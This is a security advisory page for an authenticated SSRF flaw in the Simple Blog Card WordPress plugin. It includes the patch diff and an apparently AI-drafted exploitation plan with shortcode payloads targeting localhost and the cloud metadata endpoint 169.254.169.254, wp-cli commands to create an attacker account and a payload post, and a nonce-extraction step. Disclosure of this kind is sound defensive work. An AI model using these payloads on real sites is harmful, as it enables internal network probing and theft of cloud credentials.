CVE-2026-32357

Simple Blog Card <= 2.37 - Authenticated (Contributor+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.38
Patched in
81d
Time to patch

Description

The Simple Blog Card plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.37. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.37
PublishedFebruary 14, 2026
Last updatedMay 5, 2026
Affected pluginsimple-blog-card

What Changed in the Fix

Changes introduced in v2.38

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32357 ## 1. Vulnerability Summary The **Simple Blog Card** plugin for WordPress is vulnerable to **Server-Side Request Forgery (SSRF)** in versions up to and including 2.37. The vulnerability exists because the plugin fails to properly validate the `url` para…

Show full research plan

Exploitation Research Plan - CVE-2026-32357

1. Vulnerability Summary

The Simple Blog Card plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in versions up to and including 2.37. The vulnerability exists because the plugin fails to properly validate the url parameter provided in its shortcode or Gutenberg block before making an HTTP request to fetch Open Graph Protocol (OGP) metadata. An authenticated attacker with Contributor-level permissions or higher can use this to force the web server to make requests to internal services, metadata endpoints (e.g., AWS/GCP), or perform internal port scanning.

2. Attack Vector Analysis

  • Entry Point: The [simpleblogcard] shortcode or the simple-blog-card/simpleblogcard-block Gutenberg block.
  • Vulnerable Parameter: url attribute.
  • Authentication: Authenticated (Contributor+). Contributors can create posts and insert shortcodes.
  • Sink: wp_remote_get() (as indicated in the plugin's changelog version 1.37 and 2.28).
  • Preconditions: The plugin must be active. The attacker needs the ability to save a post or preview a post containing the shortcode/block.

3. Code Flow

  1. Hook Registration: In lib/class-simpleblogcard.php, the __construct method registers the shortcode and block:
    add_action( 'init', array( $this, 'simpleblogcard_block_init' ) );
    add_shortcode( 'simpleblogcard', array( $this, 'simpleblogcard_func' ) );
    
  2. Shortcode Execution: When a post containing the shortcode is rendered, simpleblogcard_func($atts) is called.
  3. Attribute Processing: The $atts['url'] is extracted.
  4. Request Initiation: simpleblogcard_func calls $this->simpleblogcard($a).
  5. Vulnerable Sink (Inside simpleblogcard()):
    • The plugin checks if a cached version of the card exists.
    • If no cache is found, it uses wp_remote_get($a['url']) to fetch the target page content.
    • The fetched content is then parsed for OGP tags (og:title, og:description, og:image).
    • Because it uses wp_remote_get instead of wp_safe_remote_get, it does not block access to internal IP addresses (localhost, 192.168.x.x) or non-standard ports.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific nonce for the execution phase because shortcodes are processed server-side whenever a post is viewed or previewed.

However, to inject the payload as a Contributor:

  1. Post Creation via CLI: The agent can create a post with the payload directly using wp-cli, bypassing the need for browser-based nonces.
  2. Editor Preview (Alternative): If the agent needs to trigger the SSRF through the Gutenberg editor's "Preview" feature, it would require a wp_rest nonce for the /wp/v2/block-renderer endpoint.
    • Strategy: Navigate to the post editor (wp-admin/post-new.php), and use browser_eval("wp.apiFetch.nonce") or extract it from window.wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to demonstrate that the server can be forced to reach an internal service.

Step 1: Internal Service Discovery (Port Scan)

We will attempt to reach a known internal service (like a local web server or a closed port to see the difference in response time/error).

Payload: [simpleblogcard url="http://127.0.0.1:80"]

Step 2: Exploit Procedure

  1. Login as Contributor: Authenticate the http_request tool session.
  2. Create Post: Use wp-cli to create a post containing the SSRF payload.
    wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title="SSRF Test" --post_content='[simpleblogcard url="http://127.0.0.1:80"]'
    
  3. View Post: Use http_request to GET the URL of the newly created post.
  4. Observe Results:
    • Successful SSRF: The card may render with "localhost" information, or the plugin may time out/throw an error specific to the internal request.
    • OOB Verification: If the environment allows external requests, use a collaborator-style URL (e.g., http://[agent-ip]:[port]) and monitor for incoming connections.

6. Test Data Setup

  1. Users: Create a contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Internal Target: Ensure a service is running on 127.0.0.1:80 (Standard WP install) or use a dummy listener.

7. Expected Results

  • Evidence of Request: If the target url is an internal service, the plugin will attempt to parse it. If OGP tags aren't found, it might still display the <title> of the internal page in the card.
  • Timing/Errors: Different behavior when accessing an open internal port vs. a closed one (e.g., a "Connection Refused" error vs. a "Timeout").
  • Card Content: If the internal service returns valid HTML, the "Blog Card" rendered on the page will reflect the metadata of that internal service.

8. Verification Steps

  1. Check Plugin Logs: If WP_DEBUG is on, check wp-content/debug.log for wp_remote_get errors.
  2. Verify via CLI: Check if the plugin created a cache entry for the internal URL.
    wp option get simpleblogcard_access_ids
    
  3. Intercept Traffic: Use a tool like tcpdump or a simple netcat listener on an internal port to confirm the server is hitting itself.

9. Alternative Approaches

  • Gutenberg Block Exploitation: Instead of a shortcode, use the Block Editor. Send a POST request to /wp-json/wp/v2/block-renderer/simple-blog-card/simpleblogcard-block with the url attribute set to the internal target. This is often used by Gutenberg to show live previews.
  • Protocol Smuggling: Try different protocols if wp_remote_get supports them (though it's usually limited to HTTP/S).
  • Metadata Leakage: If running on AWS, target http://169.254.169.254/latest/meta-data/ to attempt to retrieve instance metadata.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Blog Card plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in versions up to 2.37 due to the use of wp_remote_get() for fetching Open Graph metadata without restricting access to internal networks. Authenticated attackers with Contributor-level permissions or higher can exploit this by providing internal IP addresses or loopback addresses in the url attribute of the plugin's shortcode or Gutenberg block.

Vulnerable Code

// lib/class-simpleblogcard.php line 487
		$response = wp_remote_get(
			$url,
			array(
				'timeout' => $timeout,
				'redirection' => 0,
				'user-agent' => 'Simple Blog Card; ' . $url,
			)
		);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/lib/class-simpleblogcard.php /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/lib/class-simpleblogcard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/lib/class-simpleblogcard.php	2025-04-01 01:22:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/lib/class-simpleblogcard.php	2026-02-05 12:19:30.000000000 +0000
@@ -484,7 +484,7 @@
 			$timeout = 3;
 		}
 
-		$response = wp_remote_get(
+		$response = wp_safe_remote_get(
 			$url,
 			array(
 				'timeout' => $timeout,
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/readme.txt	2025-11-25 22:06:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/readme.txt	2026-03-29 21:54:12.000000000 +0000
@@ -4,8 +4,8 @@
 Tags: block, blogcard, external link, internal link, linkcard
 Requires at least: 6.6
 Requires PHP: 8.0
-Tested up to: 6.9
-Stable tag: 2.37
+Tested up to: 7.0
+Stable tag: 2.38
 License: GPLv2 or later
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 
@@ -97,6 +97,9 @@
 
 == Changelog ==
 
+= [2.38] 2026/02/05 =
+* Fix - Vulnerability related to SSRF.
+
 = [2.37] 2025/05/10 =
 * Fix - WP-CLI command(`wp simpleblogcard_refresh`) now avoids posting revisions.
 

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/simpleblogcard.php /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/simpleblogcard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.37/simpleblogcard.php	2025-05-09 23:32:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simple-blog-card/2.38/simpleblogcard.php	2026-02-05 12:19:30.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: Simple Blog Card
  * Plugin URI:  https://wordpress.org/plugins/simple-blog-card/
  * Description: Get OGP and display blog card.
- * Version:     2.37
+ * Version:     2.38
  * Author:      Katsushi Kawamori
  * Author URI:  https://riverforest-wp.info/
  * License:     GPLv2 or later

Exploit Outline

The exploit is achieved by an authenticated user with Contributor-level permissions (or higher) creating a post that includes the [simpleblogcard] shortcode or the equivalent Gutenberg block. By setting the 'url' attribute to an internal IP address (e.g., http://127.0.0.1:80) or a cloud service metadata endpoint (e.g., http://169.254.169.254/latest/meta-data/), the attacker forces the WordPress server to initiate an outbound request to that target via the wp_remote_get() sink. The results, timing, or metadata retrieved from the internal service can then be observed when the post is viewed or previewed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.